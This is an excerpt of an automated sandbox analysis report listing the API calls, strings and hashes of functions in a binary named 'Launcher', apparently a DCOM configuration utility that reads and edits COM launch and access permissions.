#540.MFC42U(F6B930CF,?,?,?,?,?,00B704CF,000000FF), ref: 00B5EC07
#4155.MFC42U(00000004,F6B930CF,?,?,?,?,?,00B704CF,000000FF), ref: 00B5EC11
#4155.MFC42U(00000008,00000004,F6B930CF,?,?,?,?,?,00B704CF,000000FF), ref: 00B5EC1B
#6398.MFC42U(?,?,?,00000008,00000004,F6B930CF,?,?,?,?,?,00B704CF,000000FF), ref: 00B5EC32
#861.MFC42U(ViewHiddenComCats,?,?,?,00000008,00000004,F6B930CF,?,?,?,?,?,00B704CF,000000FF), ref: 00B5EC3F
#6398.MFC42U(?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,F6B930CF,?,?,?,?,?,00B704CF), ref: 00B5EC4F
#861.MFC42U(ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,F6B930CF), ref: 00B5EC5C
#6398.MFC42U(?,?,?,ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,F6B930CF), ref: 00B5EC6C
#800.MFC42U(?,?,?,ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,F6B930CF), ref: 00B5EC74
#800.MFC42U(?,?,?,ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,F6B930CF), ref: 00B5EC7C
#800.MFC42U(?,?,?,ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,F6B930CF), ref: 00B5EC84
#652.MFC42U(?,?,?,ExpertMode,?,?,?,ViewHiddenComCats,?,?,?,00000008,00000004,F6B930CF), ref: 00B5EC8B

Strings

ViewHiddenComCats, xrefs: 00B5EC37
ExpertMode, xrefs: 00B5EC54

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #6398#800$#4155#540#861$#652
String ID: ExpertMode$ViewHiddenComCats
API String ID: 800799730-816868219
Opcode ID: 410806115858dc09982b2f421c275dfbad96a4bfd790c4fd828b709dfb10e1fe
Instruction ID: 09f6da9305e01872a82402f4af1d82f819e14f673e411fb32af2af54370a4bb4
Opcode Fuzzy Hash: 410806115858dc09982b2f421c275dfbad96a4bfd790c4fd828b709dfb10e1fe
Instruction Fuzzy Hash: 05215B35A00555ABCF25EB90CC52EBEB7F5FF64B00F0005A9B422676E1EBB96E04CB11

Function 00B6C8A3 Relevance: 25.6, APIs: 17, Instructions: 108COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001,?,?,00B6BA6A,?), ref: 00B6C8C5
OpenProcessToken.ADVAPI32(00000000,?,00B6BA6A,?), ref: 00B6C8CC
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,00B6BA6A,?,00B6BA6A,?), ref: 00B6C8E7
GetLastError.KERNEL32(?,00B6BA6A,?), ref: 00B6C8ED
CloseHandle.KERNEL32(?,00B6BA6A,?), ref: 00B6C921

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: ProcessToken$CloseCurrentErrorHandleInformationLastOpen
String ID:
API String ID: 2078281146-0
Opcode ID: 64c4b5e22f203e5b9f32d9d0c5d4a0b4902ea064c2aae185370d703b2a5a13ba
Instruction ID: 391f8493d1d752b111464dc4a44a2d106618adf2bf815bdcaca2af18c86b913e
Opcode Fuzzy Hash: 64c4b5e22f203e5b9f32d9d0c5d4a0b4902ea064c2aae185370d703b2a5a13ba
Instruction Fuzzy Hash: 2831B036540115EBCB125BA5EC48ABE7FB9FB45312B2140A6F989E71A0DF398D80DB60

Function 00B5C070 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 75windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B5C086
#4219.MFC42U(Selecting default permissions will delete any changes you have ever made to the access permission list of this application. Are yo,Access Permissions,00000004), ref: 00B5C09E
LoadCursorW.USER32(00000000,00007F02), ref: 00B5C0B3
SetCursor.USER32(00000000), ref: 00B5C0BA
SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00B5C0EA
#2634.MFC42U(00000000), ref: 00B5C0F7
#2634.MFC42U(00000000,00000000), ref: 00B5C103
LoadCursorW.USER32(00000000,00007F00), ref: 00B5C10E
SetCursor.USER32(00000000), ref: 00B5C115
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B5C12D
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B5C13D

Strings

AccessPermission, xrefs: 00B5C0C0
Access Permissions, xrefs: 00B5C092
Selecting default permissions will delete any changes you have ever made to the access permission list of this application. Are yo, xrefs: 00B5C097

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CursorMessageSend$#2634Load$#4219
String ID: Access Permissions$AccessPermission$Selecting default permissions will delete any changes you have ever made to the access permission list of this application. Are yo
API String ID: 2901272449-2859256857
Opcode ID: 4b07c1104956a11a5ac7d0846224313c194198c837ef496e5e5ab02b819182ad
Instruction ID: fe2d9717b23432b0468d68da621bdc395238d67ebec6591b7472b88dd2304120
Opcode Fuzzy Hash: 4b07c1104956a11a5ac7d0846224313c194198c837ef496e5e5ab02b819182ad
Instruction Fuzzy Hash: 2A11A531640610BAEB251F61EC8EFD73BA9DF87713F1140B4FE19AA0A5CF650844D6B0

Function 00B65601 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 172registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000000,AppID,00000000), ref: 00B65653
RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000100), ref: 00B6569A
wsprintfW.USER32 ref: 00B65754
RegQueryValueW.ADVAPI32(80000000,?,?,00000100), ref: 00B65777
CLSIDFromString.OLE32(00000000,-00000008), ref: 00B657CF
lstrcpyW.KERNEL32(-00000084,?), ref: 00B6584A
lstrlenW.KERNEL32(?), ref: 00B658A8
wsprintfW.USER32 ref: 00B658C5
RegCloseKey.ADVAPI32(00000000), ref: 00B658FE

Strings

', xrefs: 00B65870
AppID, xrefs: 00B65649
[AppID: %s], xrefs: 00B658B9
AppID\%s, xrefs: 00B65748

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: wsprintf$CloseEnumFromOpenQueryStringValuelstrcpylstrlen
String ID: '$AppID$AppID\%s$[AppID: %s]
API String ID: 1953670596-3682975055
Opcode ID: 07eb004bbdb0ff994f07aa96a365229b65c586eccd5f6e4f221c84503032f842
Instruction ID: 8eb83a0e0f59caf4de0e927fc37cf72a708601647325bb46d46a9952cbf37eb3
Opcode Fuzzy Hash: 07eb004bbdb0ff994f07aa96a365229b65c586eccd5f6e4f221c84503032f842
Instruction Fuzzy Hash: 108191B1900A289FDB65CB54DC45BEAB7F8AB08316F1044E9E909E7290DB749FC4CF50

Function 00B5E466 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 92windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E482
#6211.MFC42U(00000005,?,?,?,?,?,00B5E130,?,?), ref: 00B5E49B
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 00B5E4AA
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5E4BE

Part of subcall function 00B5E583: #6211.MFC42U(?,0000130B,?,?,00B5D5AA,00000000), ref: 00B5E5BE
Part of subcall function 00B5E583: RedrawWindow.USER32(?,00000000,00000000,00000105,?,0000130B,?,?,00B5D5AA,00000000), ref: 00B5E669

SendMessageW.USER32(?,00001308,00000001,00000000), ref: 00B5E4DA
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E4ED
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 00B5E504
SendMessageW.USER32(?,0000133E,00000000,?), ref: 00B5E528
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00B5E53B
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 00B5E555
RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?,?,?,00B5E130,?,?), ref: 00B5E569
RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?,?,?,00B5E130,?,?), ref: 00B5E578

Strings

Registry, xrefs: 00B5E521

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$RedrawWindow$#6211
String ID: Registry
API String ID: 2246854860-886996828
Opcode ID: 52eef3f0b414d2ef14fa20603fabf28912dfa9647450bb77a7bd37f2388dac21
Instruction ID: fefb6f67a2471f06af53e6f9488a218b6d65ff9724e235d3680346719debc9df
Opcode Fuzzy Hash: 52eef3f0b414d2ef14fa20603fabf28912dfa9647450bb77a7bd37f2388dac21
Instruction Fuzzy Hash: D32183B1504A08BFF7261B70DC89EAB7AEDFB4975BF410454F62E920A0DF756D408E60

Function 00B5F346 Relevance: 22.6, APIs: 15, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B5F34D
#324.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F35E
#567.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F375
#567.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F38F
#567.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F3AA
#567.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F3C0
#567.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F3DA
#540.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F3EF
#540.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F400
#540.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F40F
#540.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F420
#861.MFC42U(00B521A0,0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F436
#861.MFC42U(00B521A0,00B521A0,0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F442
#861.MFC42U(00B521A0,00B521A0,00B521A0,0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F453
#861.MFC42U(00B521A0,00B521A0,00B521A0,00B521A0,0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F45F

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #567$#540#861$#324H_prolog3
String ID:
API String ID: 1167559088-0
Opcode ID: 6ea8ce70be89a55480ee314c592a817730916325c688c1d206d1834e72b3ec0c
Instruction ID: 78e01aa342fc5a53c75dbe845806582f854f4847cc95b643e3b7de9eca644a4c
Opcode Fuzzy Hash: 6ea8ce70be89a55480ee314c592a817730916325c688c1d206d1834e72b3ec0c
Instruction Fuzzy Hash: 4E319C75A01646DBEB05EF64C9413DDBBE0AF65300F5040CDA99137382DBB86B08CBD1

Function 00B6B680 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 124windowstringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6D6F5: RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,00B6D6E4,80000000,?,?,?,?,?), ref: 00B6D70D
Part of subcall function 00B6D6F5: RegQueryValueExW.ADVAPI32(?,?,00000000,?,80000000,00B6D6E4,?,?,?,00B6D6E4,80000000,?,?,?,?,?), ref: 00B6D72C
Part of subcall function 00B6D6F5: RegCloseKey.ADVAPI32(?,?,?,?,00B6D6E4,80000000,?,?,?,?,?,?,?,?), ref: 00B6D738

lstrcmpiW.KERNEL32(?,00B52778,80000002,SOFTWARE\MICROSOFT\OLE,EnableDCOM,?,?), ref: 00B6B6E0
lstrcmpiW.KERNEL32(?,00B52778,80000002,SOFTWARE\MICROSOFT\OLE,EnableRemoteConnect,?,00000100,80000002,SOFTWARE\MICROSOFT\OLE,EnableDCOM,?,?), ref: 00B6B726
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B6B749
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B6B76E
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B6B7B1
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B6B7DC
#5273.MFC42U(80000002,SOFTWARE\MICROSOFT\OLE,EnableRemoteConnect,00B52778), ref: 00B6B809
#1197.MFC42U(These changes will take effect after you restart your computer.,00000000,00000000), ref: 00B6B81F

Strings

EnableRemoteConnect, xrefs: 00B6B702, 00B6B7F0
SOFTWARE\MICROSOFT\OLE, xrefs: 00B6B6BF, 00B6B707, 00B6B787, 00B6B7F5
These changes will take effect after you restart your computer., xrefs: 00B6B81A
EnableDCOM, xrefs: 00B6B6BA, 00B6B782

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$lstrcmpi$#1197#5273CloseOpenQueryValue
String ID: EnableDCOM$EnableRemoteConnect$SOFTWARE\MICROSOFT\OLE$These changes will take effect after you restart your computer.
API String ID: 2271089683-166272277
Opcode ID: 321031aff47502f9f63799a2f0bfe92045a5ae0eeff8fae613cedaa5f6043c15
Instruction ID: 9b1184bb45d394ea1d121bd851709abe2ddecbc778d23bcd25ab20db2cb691b3
Opcode Fuzzy Hash: 321031aff47502f9f63799a2f0bfe92045a5ae0eeff8fae613cedaa5f6043c15
Instruction Fuzzy Hash: F5416471780315A6EB305B20CC8AF7A73E8EB54B06F1041E5FA19F6092DFA4ADC99644

Function 00B6F1A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 70libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00B73B00,00000FA0), ref: 00B6F1B0
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll), ref: 00B6F1BB
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00B6F1CC
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00B6F1DE
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00B6F1EC
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00B6F21E
DeleteCriticalSection.KERNEL32(00B73B00,00000007), ref: 00B6F245
CloseHandle.KERNEL32(00000000), ref: 00B6F255

Strings

SleepConditionVariableCS, xrefs: 00B6F1D8
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B6F1B6
WakeAllConditionVariable, xrefs: 00B6F1E4
kernel32.dll, xrefs: 00B6F1C7

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 3f26d42a30c12346c2d4c8b6146a20a6453a58115073db9e817363de5c2336bb
Instruction ID: 159ec6be064d124ccfab46b9157db933c95f1863c715371d5bc264b8d8a11d99
Opcode Fuzzy Hash: 3f26d42a30c12346c2d4c8b6146a20a6453a58115073db9e817363de5c2336bb
Instruction Fuzzy Hash: 3C01A535644312ABC7206774BC1EE2A3AE5EB45B52B0400A0FD09E32A0DF68CD818AA6

Function 00B5F290 Relevance: 21.0, APIs: 10, Strings: 2, Instructions: 44stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B5F29A
lstrcpyW.KERNEL32(?,Executable Files (*.exe)|*.exe|All Files (*.*)|*.*|,00000548), ref: 00B5F2AD
#355.MFC42U(00000001,00000000,00B521A0,00001804,?), ref: 00B5F2D0
#2507.MFC42U ref: 00B5F2E8
#3494.MFC42U(?), ref: 00B5F2FF
#858.MFC42U(00000000,?), ref: 00B5F30F
#800.MFC42U(00000000,?), ref: 00B5F31D
#6330.MFC42U(00000000,00000000,?), ref: 00B5F325
#800.MFC42U ref: 00B5F330
#641.MFC42U ref: 00B5F33B

Strings

Executable Files (*.exe)|*.exe|All Files (*.*)|*.*|, xrefs: 00B5F2A1
Open COM Surrogate Server, xrefs: 00B5F2DE

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#2507#3494#355#6330#641#858H_prolog3_lstrcpy
String ID: Executable Files (*.exe)|*.exe|All Files (*.*)|*.*|$Open COM Surrogate Server
API String ID: 2485399651-276578773
Opcode ID: 0dbf87bc6b4a50b934d8a5bf8232870b6e773a170efb57e7de5c691a649d34b3
Instruction ID: 09ed2a699c8f7eb137a3958fa2c8d6824b00a27d3e259d92b6edc264c3c14c6a
Opcode Fuzzy Hash: 0dbf87bc6b4a50b934d8a5bf8232870b6e773a170efb57e7de5c691a649d34b3
Instruction Fuzzy Hash: 1E012171940518AEDB14EB54CC92AEEB3F8BF15306F8000E9B519A7181DFB85F88CF51

Function 00B5EF20 Relevance: 21.0, APIs: 10, Strings: 2, Instructions: 44stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B5EF2A
lstrcpyW.KERNEL32(?,Executable Files (*.exe;*.dll;*.ocx)|*.exe;*.dll;*.ocx|All Files (*.*)|*.*|,00000548), ref: 00B5EF3D
#355.MFC42U(00000001,00000000,00B521A0,00001804,?), ref: 00B5EF60
#2507.MFC42U ref: 00B5EF78
#3494.MFC42U(?), ref: 00B5EF8F
#858.MFC42U(00000000,?), ref: 00B5EF9F
#800.MFC42U(00000000,?), ref: 00B5EFAD
#6330.MFC42U(00000000,00000000,?), ref: 00B5EFB5
#800.MFC42U ref: 00B5EFC0
#641.MFC42U ref: 00B5EFCB

Strings

Executable Files (*.exe;*.dll;*.ocx)|*.exe;*.dll;*.ocx|All Files (*.*)|*.*|, xrefs: 00B5EF31
Open COM Server, xrefs: 00B5EF6E

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#2507#3494#355#6330#641#858H_prolog3_lstrcpy
String ID: Executable Files (*.exe;*.dll;*.ocx)|*.exe;*.dll;*.ocx|All Files (*.*)|*.*|$Open COM Server
API String ID: 2485399651-2085683529
Opcode ID: 6905e6004eacc66de92ca76e8568cb3eb1deed74f8380d41cd480311207a1b0f
Instruction ID: ef51bbcbd19a59b4daa5cb10f2cd098e85196f5abeab4a800039717bcc28a543
Opcode Fuzzy Hash: 6905e6004eacc66de92ca76e8568cb3eb1deed74f8380d41cd480311207a1b0f
Instruction Fuzzy Hash: 4F0112719406189ADB14EB54CC92AEE73E8AF15306F4040E9B519A7181DFB45F88CE51

Function 00B6BF00 Relevance: 18.2, APIs: 12, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B6BF47
GetLastError.KERNEL32(?,?,?,?,?,?,?,?), ref: 00B6BF51
GetExplicitEntriesFromAclW.ADVAPI32(?,?,?), ref: 00B6BF7F
SetEntriesInAclW.ADVAPI32(?,?,00000000,?), ref: 00B6BF94
MakeAbsoluteSD.ADVAPI32(?,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?), ref: 00B6BFBD
MakeAbsoluteSD.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 00B6C018
SetSecurityDescriptorDacl.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00B6C030
MakeSelfRelativeSD.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00B6C044
LocalAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00B6C053
MakeSelfRelativeSD.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00B6C065
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 00B6C0A0

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Make$AbsoluteDaclDescriptorEntriesLocalRelativeSecuritySelf$AllocErrorExplicitFreeFromLast
String ID:
API String ID: 559786115-0
Opcode ID: 093c09d9b88f8c65ac40300002ec8cd583a16baba5c0dd5c6938a1570b8fc3b0
Instruction ID: bf9770a3d3b9bc2f81b03548d64fc6fd11cca023740e47dcc6cfea1e28996cad
Opcode Fuzzy Hash: 093c09d9b88f8c65ac40300002ec8cd583a16baba5c0dd5c6938a1570b8fc3b0
Instruction Fuzzy Hash: 1751A3B6900119AF9B11DF95DC85DEEBBBDEF08751B14406AFA09E3120DB349A84DBA0

Function 00B60BBB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00B60BE4

Part of subcall function 00B6D2F7: wsprintfW.USER32 ref: 00B6D35B
Part of subcall function 00B6D2F7: lstrcatW.KERNEL32(?,00B560AC), ref: 00B6D376
Part of subcall function 00B6D2F7: lstrcatW.KERNEL32(?,?), ref: 00B6D37E

Part of subcall function 00B6C0BC: __EH_prolog3_GS.LIBCMT ref: 00B6C0C6
Part of subcall function 00B6C0BC: #540.MFC42U(00000488,00B5C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 00B6C0F1
Part of subcall function 00B6C0BC: RegOpenKeyExW.ADVAPI32 ref: 00B6C112
Part of subcall function 00B6C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6C13A
Part of subcall function 00B6C0BC: RegCloseKey.ADVAPI32(?), ref: 00B6C151
Part of subcall function 00B6C0BC: #800.MFC42U ref: 00B6C15F

#2634.MFC42U(00000000,?,80000000,?,LaunchPermission), ref: 00B60C33
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B60C46
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B60C57
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B60C6F
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B60C80
UpdateWindow.USER32(?), ref: 00B60C8C
#2634.MFC42U(00000001), ref: 00B60C9A
#2634.MFC42U(00000001,00000001), ref: 00B60CA3

Strings

LaunchPermission, xrefs: 00B60C07

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$#2634$lstrcat$#540#800CloseH_prolog3_OpenQueryUpdateValueWindowwsprintf
String ID: LaunchPermission
API String ID: 2454494747-4257139491
Opcode ID: 0743cc5e070bf41d074f7b2c8057268750274aafff36cf429e1e96e159a8d0d2
Instruction ID: ed41e823448610875f49d2a82f06dde24e45c4558f0704f3d4d114603106bfe4
Opcode Fuzzy Hash: 0743cc5e070bf41d074f7b2c8057268750274aafff36cf429e1e96e159a8d0d2
Instruction Fuzzy Hash: 17214131640214ABEB25AF21CC4AFE63BA9DF46741F4500B4FE096E1D6CFB25D85D7A0

Function 00B5E810 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 00B5E81D
SendMessageW.USER32(?,00001061,00000000,?), ref: 00B5E848
SendMessageW.USER32(?,00001061,00000001,?), ref: 00B5E86C
#1662.MFC42U ref: 00B5E874

Part of subcall function 00B6C0BC: __EH_prolog3_GS.LIBCMT ref: 00B6C0C6
Part of subcall function 00B6C0BC: #540.MFC42U(00000488,00B5C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 00B6C0F1
Part of subcall function 00B6C0BC: RegOpenKeyExW.ADVAPI32 ref: 00B6C112
Part of subcall function 00B6C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6C13A
Part of subcall function 00B6C0BC: RegCloseKey.ADVAPI32(?), ref: 00B6C151
Part of subcall function 00B6C0BC: #800.MFC42U ref: 00B6C15F

